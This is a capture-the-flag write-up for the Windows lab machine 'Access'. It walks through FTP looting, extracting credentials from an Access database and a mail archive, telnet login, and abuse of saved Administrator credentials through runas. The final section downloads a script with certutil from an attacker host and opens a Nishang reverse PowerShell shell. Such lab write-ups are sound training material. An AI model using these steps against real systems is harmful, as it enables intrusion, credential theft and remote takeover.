Access Writeup by artikrh

SPECIFICATIONS

- Target OS: Windows
- IP Address: 10.10.10.98
- Difficulty: 3.4/10

CONTENTS

Information Gathering

As usually, we start with `nmap` to see which ports are open on the server.

```
$ mkdir nmap
$ nmap -sC -sV -oA nmap/initial --max-retries 1 -v 10.10.10.98
$ less nmap/initial.nmap
...
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: socket TIMEOUT
23/tcp open  telnet?
80/tcp open  http    Microsoft IIS httpd 7.5
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
...
```

We see IIS 7.5 running at port 80 so this is probably a Windows 7 or a Windows Server 2008 R2 machine. First thing we should check is the FTP service since it allows anonymous login:

```
$ ftp 10.10.10.98
```

There are two directiories: `Backups` which has a file called `backup.mdb` and `Engineer` with `Access Control.zip`. Since we are going to download binary data type files, we need to prepare our FTP client for a binary mode transfer to avoid receiving corrupt files.

```
ftp> bin
ftp> cd Backups
ftp> get backup.mdb
ftp> cd ../Engineer
ftp> get "Access Control.zip”
```

We now have a zip archive data which we need to extract and a Microsoft Access database. If we try to use the `unzip` command for the zip archive, we will get a unsupported compression method error. Googling it will indicate that the zip file is encrypted with AES (Adavanced Encryption Standard) encryption which `unzip` does not support. However, 7zip package can be used to extract such files:

```
$ 7z e Access\ Control.zip
```

Since it is requiring a password, we move on to the database. To open the mdb file, I am going to use `mdbtools`, otherwise you could use https://www.mdbopener.com/

```
$ sudo apt install mdbtools
$ mdb-sql backup.mdb
1 => list tables
2 => go
```

There will be a lot of tables in this database, but looking for potential interesting tables we will eventually find `auth_user` which contains credentials:

```
$ mdb-export backup.mdb auth_user

id,username,password,Status,last_login,RoleID,Remark
25,"admin","admin",1,"08/23/18 21:11:47",26,
27,"engineer","access4u@security",1,"08/23/18 21:13:36",26,
28,"backup_admin","admin",1,"08/23/18 21:14:02",26,
```

We have two potential passwords for the zip archive: `admin` and `access4u@security`. The correct one is `access4u@security` that extracts `Access Control.pst` which is a Microsoft Outlook email folder. I am going to use `readpst` to extract the email message (mbox):

```
$ 7z e Access\ Control.zip
$ readpst Access\ Control.pst
$ cat Access\ Control.mbox

...
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.
Please ensure this is passed on to your engineers.
...
```

Getting User

If we check the telnet service:

```
$ telnet 10.10.10.98
```

We notice it requires a login username and a password. We have `security:4Cc3ssC0ntr0ller` which will be the way in to grab the user flag.

Getting Root

There are quite some rabbit holes in this box such as some installed softwares which have documented CVEs for privilege escalation. However, the intented way was to perform basic enumeration on the window machine and eventually see that the Administrator user has stored credentials in the server:

```
> cmdkey /list

Currently stored credentials:
    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator
```

We can execute a program under a different account using `runas` command. It supports using saved credentials by checking credentials manager at:

```
> dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials\
```

We can grab the root flag easily in this way:

```
> runas /user:ACCESS\Administrator /savecred "cmd.exe /c type
c:\users\administrator\desktop\root.txt >
C:\Users\security\AppData\Local\Temp\artikrh.txt"

> type C:\Users\security\AppData\Local\Temp\artikrh.txt

> del C:\Users\security\AppData\Local\Temp\artikrh.txt
```

Or we can get a root shell using [nishang invoke tcp powershell script]. Append the following line:

```
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.13.241 -Port 9191
```

at the end of the script and set up a `netcat` listener in the local machine.

```
> cd %TEMP%

> certutil -f -split -urlcache http://10.10.13.241/artikrh.ps1 ./artikrh.ps1

> runas /user:ACCESS\administrator /savecred "powershell -ExecutionPolicy
Bypass -File C:\Users\security\AppData\Local\Temp\artikrh.ps1"
```

See the image below.

```
C:\Users\security\AppData\Local\Temp>certutil -f -split -urlcache http
://10.10.13.241/artikrh.ps1 ./artikrh.ps1
****  Online  ****
  0000  ...
  1134
CertUtil: -URLCache command completed successfully.

C:\Users\security\AppData\Local\Temp>runas /user:ACCESS\administrator
/savecred "powershell -ExecutionPolicy Bypass -File C:\Users\security\
AppData\Local\Temp\artikrh.ps1"

C:\Users\security\AppData\Local\Temp>
```

```
→  access nc -lvnp 9191
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from 10.10.10.98.
Ncat: Connection from 10.10.10.98:49176.
Windows PowerShell running as user Administrator on ACCESS
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami
access\administrator
PS C:\Windows\system32>
```